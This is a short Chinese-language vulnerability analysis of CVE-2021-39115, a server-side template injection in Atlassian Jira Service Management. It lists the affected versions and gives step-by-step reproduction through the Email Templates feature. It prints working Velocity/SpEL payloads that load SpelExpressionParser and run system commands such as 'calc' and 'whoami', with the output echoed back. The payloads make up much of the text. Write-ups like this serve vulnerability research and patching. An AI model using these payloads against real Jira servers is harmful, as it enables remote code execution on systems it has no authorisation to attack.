CVE-2021-39115-Atlassian Jira Service Management Server SSTI漏洞分析
漏洞概述 Atlassian官方发布了一则漏洞通报 https://jira.atlassian.com/browse/JSDSERVER-8665 从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下: version < 4.13.9 4.14.0 ≤ version < 4.18.0 漏洞复现 下载JiraService
漏洞概述
Atlassian官方发布了一则漏洞通报
https://jira.atlassian.com/browse/JSDSERVER-8665
从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下:
- version < 4.13.9
- 4.14.0 ≤ version < 4.18.0
漏洞复现
下载JiraService Management 4.17.1版本并安装 ,配置SMTP服务器。

使用管理员登录,进入system/EmailTemplates下载当前模板。

修改并替换header.vm文件。
$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())

进入System/SendEmail发送邮件。

选择邮件用户。

接受邮件,可以看到错误执行结果。


为标准的SPEL表达式注入,参考公开资料,注入命令执行载荷。
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

基于IOUtils实现回显。
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()

后记
这个漏洞是利用Email Templates功能点,基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类,寻找loadComponents这个功能函数需要技巧。